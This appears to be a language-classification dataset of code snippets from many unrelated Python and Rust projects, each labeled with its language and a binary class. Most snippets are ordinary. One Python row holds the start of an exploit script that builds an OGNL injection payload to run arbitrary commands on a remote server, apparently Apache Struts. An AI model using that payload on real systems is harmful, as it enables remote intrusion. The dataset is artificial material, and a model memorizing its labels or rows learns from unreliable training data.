text string | label_name string | labels int64 |
|---|---|---|
from demo_evm_uniswap import models
from demo_evm_uniswap.models.position import save_position_snapshot
from demo_evm_uniswap.models.token import convert_token_amount
from demo_evm_uniswap.types.position_manager.evm_events.increase_liquidity import IncreaseLiquidityPayload
from dipdup.context import HandlerContext
from... | Python | 1 |
import sys
from haystack.dataclasses import ChatMessage
from agent_fred.config import config
from agent_fred.core import load_prompt, fred_api_to_documents
from agent_fred.pipelines import fred_chat_pipeline
if __name__ == "__main__":
print("agent chat pipeline for q&a on fred api using nlp")
print(f"using ... | Python | 1 |
# 1). Userden alinan 5 cavabi bir listde sirali seklinde yerlesdirin:
# Userden alinan 5 cavabi bir listde sirali seklinde yerlesdirin:
# [4,1,78,99,45] >> [1,4,45,78,99]
list1=[]
for i in range(1,6):
list1.append(input("{}-ci ededi daxil edin : ".format(i)))
list1.sort()
print(list1)
# 2). Daxil edilmiş c... | Python | 1 |
for dim_size in data_shape:
n_params *= dim_size
if old_dtype in (torch.float32, torch.bfloat16):
if n_dims == 1:
# one-dimensional tensors should be kept in F32
# also speeds up inference due to not dequantizing
data_qtype = gguf.GGMLQ... | Python | 1 |
param metadata: the metadata of the entity or fused entities being compiled
:param space: the execution space to compile for
:param types_signature: optional identifier/hash string for types of parameters
:param restrict_signature: optional identifier/hash string from the views that do not alias... | Python | 1 |
al, test-optim needs sim3.'
# align test pose to refined coordinate system (up to sim3)
center = torch.zeros(1, 1, 3, device=gt_poses.device)
center = cam2world(center, gt_poses)[:, 0] # [B, HW, 3], [B, 3, 4]
center_aligned = (center-sim3.t0)/sim3.s0@sim3.R*sim3.s1+sim3.t... | Python | 1 |
node does not
AddEventListener(&'a T, NodeIdx, Vec<&'a Attribute<ATT, EVENT, MSG>>),
/// Remove attributes that the old node had that the new node doesn't
RemoveEventListener(&'a T, NodeIdx, Vec<ATT>),
/// Change the text of a Text node.
ChangeText(NodeIdx, &'a Text),
}
type NodeIdx = usize;
impl... | Rust | 0 |
{}, tag_to_record: {:?}, offsets: {:?})",
tag.0, self.database_name, self.tag_to_record, input
);
return Err("internal aggregator error: invalid tag".into());
}
let record = self.tag_to_record[tag.0];
let offset = input[record];
let md = &self.m... | Rust | 0 |
# -*- coding: utf-8 -*-
from __future__ import absolute_import, division, print_function, unicode_literals
# The MIT License
# Copyright (c) 2017 - 2024 Tammo Ippen, tammo.ippen@posteo.de
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation fi... | Python | 1 |
4 => " / \\\n / @ \\\n/_____\\",
_ => "@",
};
template.replace("@", &padded_roll)
}
use std::fmt;
use std::iter::FromIterator;
use std::ops::{
BitAnd, BitAndAssign, BitOr, BitOrAssign, BitXor, BitXorAssign, Mul, Not, Shl, Shr, Sub,
};
use crate::game::position::Position;
#[derive(Partia... | Rust | 0 |
3\xdaP\x848\xac\
z\xe0\x05\x1e\xa0\x05\x8aI\x11\xcaH\x04*\x02\x9c\x83\
)Y\xe8 \x06)\x05g\x80Tk\x08G\x10R@\
\xc8lnsj\x12\x80\xec\xf1\x04\x11\x04\xe0l\xf6\x7f\
D\x16\x06z\xb0\x22\xc8A\x82\xe0L\xb6 \x83\xcb\x8e\
aB\x02\xa5\x04\x8aTD\xeaYx\xc2\x83I\x801\
\xe9\xd8\xa9\x97L\xbd\xe4\xd3\xf3f\xcf\xb9\xec\xa1\x8d\x0f\
\xfd-z\xf... | Python | 1 |
(first_char.len_utf8()).0;
//! #
//! # let report = AnnotatedError::new(err_span.span(), "Expected ` `")
//! # .with_annotation(
//! # err_span.span(),
//! # format!("Expected ` `, found `{}`.", err_span.content()),
//! # );
//! #
//! # return Err(... | Rust | 0 |
import sympy
import autodiff
x, t, v1, v2, v3, v4 = sympy.symbols('x t v1 v2 v3 v4')
f_gev_p1_density = (1/v3)*((1+v4*((x-v1-v2*t)/v3))**(-1/v4-1))*sympy.exp(-((1+v4*(x-v1-v2*t)/v3)**(-1/v4)))
f_gev_p1_cdf = sympy.exp(-((1+v4*(x-v1-v2*t)/v3)**(-1/v4)))
f_gev_p1_log_density = -sympy.log(v3)-(1+1/v4)*sympy.log(1+v4*(x-... | Python | 1 |
='#2196F3', width=2)
# 显示单位(小字体)
self.h_ruler.create_text(preview_width-4, 7, text='mm', anchor='e',
font=('Arial', 6), fill='#808080')
self.v_ruler.create_text(7, preview_height-4, text='mm', anchor='s',
... | Python | 1 |
Tta-c--SFyOv9Kl3Q9Jjw
// Then f(z) = sum(fi * Li(z)) = (z^n -1)/n sum(fi * li(z))
// To avoid inversions when computing li(z) we instead compute li_inv = (z-w^i)/w^i = z/w^i - 1 = z * w_inv^i - 1
// using n multiplications to accumulate z * w_inv^i and then perform batch inversion.
// Batch inversion costs 1 inv + 3n m... | Rust | 0 |
fn create_merged_piece(
sentences: String,
identification: &'static str,
headers: WarcHeaders,
) -> MergedPiece {
let nb_sentences = sentences.split("\n").count();
MergedPiece {
sentences,
identification,
headers,
nb_sentences,
... | Rust | 0 |
of straight up using `EventPump`
/// since it is not `Send` & so can't be used directly in a specs `System`
pub struct EventQueue {
queue: VecDeque<Event>,
}
impl EventQueue {
pub fn new() -> EventQueue {
EventQueue {
queue: VecDeque::new(),
}
}
pub fn reset(&mut self) {
... | Rust | 0 |
ripheral_access_1::W](sensitive_apb_peripheral_access_1::W) writer structure"]
impl crate::Writable for SENSITIVE_APB_PERIPHERAL_ACCESS_1 {}
#[doc = "SENSITIVE_APB_PERIPHERAL_ACCESS_1"]
pub mod sensitive_apb_peripheral_access_1;
#[doc = "SENSITIVE_INTERNAL_SRAM_USAGE_0\n\nThis register you can [`read`](crate::generic::... | Rust | 0 |
{}].'
.format(
type(self.gcp_user_access_binding).__name__,
', '.join(unrecognized_fields),
', '.join(valid_fields),
),
)
def _ValidateAllFieldsRecognized(self, message):
"""Validates that all fields in the message are recognized.
Args:
... | Python | 1 |
state) {
(&XGPUConvFwdConfig::Cudnn(ref cfg), &mut XGPUConvState::Cudnn(ref mut state)) => {
let mut stream = conn.cuda_stream();
let mut cudnn_h = conn.cudnn();
assert!(cudnn_h.set_stream(&mut stream).is_ok());
let alpha: <CudnnHandle as CudnnConvExt<WTy, XTy, YTy>>::HostScalar =... | Rust | 0 |
rap();
let is_lock_col = index_coordinate[2].unwrap() == 1;
let is_lock_row = index_coordinate[3].unwrap() == 1;
col_num = adjustment_remove_coordinate(&col_num, root_col_num, offset_col_num);
row_num = adjustment_remove_coordinate(&row_num, root_row_num, offset_row_num);... | Rust | 0 |
'length': 13.70198643769922,
'radius': 8.439327773297176,
'curvature': 27.40397287539844,
'curvature_level': 4},
# Straight segments
{ 'start': [44.0000, -73.0013],
... | Python | 1 |
e undefined in which case it's just a default material
gfx_material = MeshPhongMaterial(color=x.main_color / 255)
default_mat = getattr(trimesh.visual.color, "DEFAULT_MAT", None)
if default_mat is None:
default_mat = x.defaults # trimesh < 4.6.3
gfx_material.shininess = def... | Python | 1 |
times = []
for i in range(frames):
curr = i / frames * (len(c2ws) - 1)
times.append(curr)
# interpolation generation
rots_inter = slerp(times).as_matrix()
x_inter = lerp_x(times)
y_inter = lerp_y(times)
z_inter = lerp_z(times)
# pose
c2ws_inter = []
for i in ran... | Python | 1 |
that.
pub trait Inspectable {
/// The `Attributes` associated type specifies what attributes can be passed to a field.
/// See the following snippet for an example:
/// ```rust,no_run
/// # use bevy_inspector_egui::{egui, Inspectable, Context};
/// struct MyCustomType;
/// # #[derive(Default)]
... | Rust | 0 |
{
self.bit()
}
#[doc = r" Value of the field as raw bits"]
#[inline]
pub fn bit(&self) -> bool {
match *self {
ENA_SCLR::WHEN_THIS_BIT_IS_CLE => false,
ENA_SCLR::WHEN_THIS_BIT_IS_SET => true,
}
}
#[allow(missing_docs)]
#[doc(hidden)]
#[inli... | Rust | 0 |
, new_pt)
# print('new_pt', new_pt.shape, new_pt)
new_pts[i] = new_pt[0:2]
return new_pts
def trans_points3d(pts, M):
scale = np.sqrt(M[0][0] * M[0][0] + M[0][1] * M[0][1])
# print(scale)
new_pts = np.zeros(shape=pts.shape, dtype=np.float32)
for i in range(pts.shape[0]):
p... | Python | 1 |
declared in blocks inside this function (multiple with same name
/// possible). The index into this vector serves as an identification for the local
pub locals: Vec<Spanned<&'a str>>,
/// Upvalues referenced by this function. Collected while resolving.
pub upvalues: Vec<UpvalDesc>,
}
/// Something tha... | Rust | 0 |
#!/usr/bin/env python3
"""
Generate a sample HyperEVM NFT collection with detailed traits
"""
import sys
sys.path.append('.')
from hyperevm_nft_generator import HyperEVMNFTGenerator
import json
def main():
generator = HyperEVMNFTGenerator()
print("Creating sample HyperEVM NFT collection with 10 detailed ... | Python | 1 |
intro/string/escape-simple-back-slash");
test!(escape_simple_carriage_return, "literal-intro/string/escape-simple-carriage-return");
test!(escape_simple_double_quote, "literal-intro/string/escape-simple-double-quote");
test!(escape_simple_new_line, "literal-intro/string/e... | Rust | 0 |
before_model_callback=research_agent_before_model_callback
)
research_output_keys.append(f"research_agent_{topic_id}")
# 关键:设置父级Agent,ADK框架需要这个来构建Agent树
new_research_agent.parent_agent = self
dynamic_sub_agents.append(new_research_agent)
ctx.s... | Python | 1 |
;
use rand::Rng;
use std::ops::Range;
const ADJECTIVE: &[&str] = &[
"jobless",
"rightful",
"breakable",
"impartial",
"shocking",
"faded",
"phobic",
"overt",
"like",
"wide-eyed",
"broad",
];
const NOUN: &[&str] = &[
"territory",
"jam",
"neck",
"chicken",
... | Rust | 0 |
#!/usr/bin/env python3
"""
Upload Children's Stories Dataset to Hugging Face Hub
This script provides a simple interface to upload your children's stories
to Hugging Face Hub as a dataset in JSONL format.
Usage:
python upload_to_huggingface.py --repo-name "your-username/children-stories-dataset"
Environment Vari... | Python | 1 |
::Arc,
};
use chrono::Utc;
use dotenv::dotenv;
use rand::random;
#[macro_use]
pub mod utils;
pub mod keys;
use keys::*;
mod commands;
use commands::fun::fun_main::*;
use commands::fun::pokemon::*;
use commands::general::*;
use commands::meta::*;
use commands::moderator::*;
use commands::music::lastfm::*;
use comm... | Rust | 0 |
$struct_name {
f,
xs: CachedIterator::new(xs),
x_to_ys: HashMap::new(),
i: $index_ctor,
data,
}
}
};
}
exhaustive_dependent_pairs!(
ExhaustiveDependentPairsInfiniteLog,
exhaustive_dependent_pairs_infinite_lo... | Rust | 0 |
logger.info("Too much requests, sleeping for 1 second")
time.sleep(1)
synopsis = fetch_episode_synopsis(ep["url"])
ep["synopsis"] = synopsis
time.sleep(0.1) # Avoid hitting API too fast
episodes.extend(data["data"])
if not data.get("pagination"... | Python | 1 |
DefaultServer => lst.default_server = true,
Ssl => lst.ssl = true,
Ext(ext) => lst.ext = Some(ext),
ProxyProtocol => lst.proxy_protocol = true,
SetFib(v) => lst.setfib = Some(v),
FastOpen(v) => lst.fastopen = Some(v),
... | Rust | 0 |
y_pred, hidden = self.forward(X)
# Note: model returns batched output, so remove singleton batch dimension
y_pred = y_pred.squeeze(0)
# Pick next token based on output distribution
probabilities = torch.nn.functional.softmax(y_pred, dim=0)
index = torch.multin... | Python | 1 |
.html#DISABLED_REASON_APP_CHANGED)
pub const DISABLED_REASON_APP_CHANGED : i32 = 2;
/// public static final [DISABLED_REASON_BACKUP_NOT_SUPPORTED](https://developer.android.com/reference/android/content/pm/ShortcutInfo.html#DISABLED_REASON_BACKUP_NOT_SUPPORTED)
pub const DISABLED_REASON_BACKUP_... | Rust | 0 |
from functools import reduce
from typing import List
from unittest import TestCase, main
class Solution:
def encode(self, strs):
return self.encode_with_base64(strs)
def decode(self, str):
return self.decode_with_base64(str)
CSV_DELIMITER = ','
# solve_1. ASCII
"""
Runtime: ... | Python | 1 |
ps.unsorted_segment_sum(
hessians64, mapped_partitions, array_ops.size(unique_partitions))
per_partition_gradients = math_ops.cast(per_partition_gradients,
dtypes.float32)
per_partition_hessians = math_ops.cast(per_partition_hessians,
... | Python | 1 |
);
assert_eq!(gst.hour, 4);
assert_eq!(gst.min, 40);
assert_approx_eq!(
gst.sec, // 5.229576759185761
5.23,
1e-3
);
}
#[test]
fn ut_from_gst_works() {
let gst = DateTime {
year: 1980,
month: Month::Apr,
... | Rust | 0 |
callback.forget();
}
{
// on close
let buffer = resource.ws_to_event_channel_receiver.buffer().clone();
let onclose_callback = Closure::wrap(Box::new(move |_| {
buffer
.lock()
.expect("aquire lock")
... | Rust | 0 |
")]
#[cfg_attr(test, assert_instr(fcvtps))]
#[stable(feature = "neon_intrinsics", since = "1.59.0")]
pub unsafe fn vcvtps_s32_f32(a: f32) -> i32 {
#[allow(improper_ctypes)]
extern "unadjusted" {
#[cfg_attr(target_arch = "aarch64", link_name = "llvm.aarch64.neon.fcvtps.i32.f32")]
fn vcvtps_s32_f3... | Rust | 0 |
&mut decoration_rng,
position.offset(dir::Up).unwrap_or(position),
)
.unwrap();
}
}
for dispatcher in &decorators {
dispatcher.generate(&mut quad, &mut decoration_rng).unwrap();
}
}
}
/*for x in 0..31 {
println!("{}", x);
for z in 0..31 {
let x_part = (x as i64).wrappin... | Rust | 0 |
vec!["b"].into(),
CheckUse::Storage { type_: fsys::StorageType::Meta, storage_relation: None },
));
}
/// a
/// \
/// b
/// \
/// c
///
/// a: offers directory /data to b as /minfs, but a is non-executable
/// b: has storage decl with name "mystorage" with a source of realm at ... | Rust | 0 |
st RNG = CKF_RNG;
const WRITE_PROTECTED = CKF_WRITE_PROTECTED;
const LOGIN_REQUIRED = CKF_LOGIN_REQUIRED;
const USER_PIN_INITIALIZED = CKF_USER_PIN_INITIALIZED;
const RESTORE_KEY_NOT_NEEDED = CKF_RESTORE_KEY_NOT_NEEDED;
const CLOCK_ON_TOKEN = CKF_CLOCK_ON_TOKEN;
const PRO... | Rust | 0 |
,
5,
5,
5,
5
));
// set prices into storage
let account_1 = get_account_1();
for i in 0..3 {
let price = i as u128 + 100_u128;
add_price_storage(price, 0, account_1, 2);
}
Oracle::on_initialize(2);
let price = Price { price: 101, block: 2 };
assert_eq!(Oracle::prices(0), price);
//... | Rust | 0 |
NATIONALITY = "GHANAIAN"
MENTAL_STATE = "SOUND"
LEGAL_AGE = 18
age = int(input("Enter age: "))
nationality = input("Enter nationality: ")
mental_state = input("Enter mental state: ")
if age >= LEGAL_AGE and nationality.upper() == NATIONALITY and mental_state.upper() == MENTAL_STATE:
print("You are eligible to vot... | Python | 1 |
x.into_iter().collect::<String>()
})
.collect::<Vec<String>>();
let weight = if whole_portion.is_empty() {
-(decimal_portion.len() as i16)
} else {
whole_portion.len() as i16 - 1
};
let all_groups = whole_portion
.into_iter()
... | Rust | 0 |
from langchain_community.document_loaders.docugami import (
DocugamiLoader,
)
__all__ = [
"DocugamiLoader",
]
| Python | 1 |
assert_eq!(
name_list(b"\x00\x00\x00\x09zlib,none"),
Ok(ParsedValue {
value: vec!["zlib", "none"],
rest_input: &[],
})
);
assert_eq!(
name_list(b"\x00\x00\x00\x09a,b,c,d,e"),
Ok(ParsedValue {
valu... | Rust | 0 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
import sys
import urllib
import urllib2
import httplib
def exploit(host,cmd):
print "[Execute]: {}".format(cmd)
ognl_payload = "${"
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
og... | Python | 1 |
tocol(path)
else:
path = [self._strip_protocol(p) for p in path]
paths = self.expand_path(path, recursive=recursive, maxdepth=maxdepth)
for p in reversed(paths):
if self.isfile(p):
self.rm_file(p)
# If the expanded path doesn't exist, it is onl... | Python | 1 |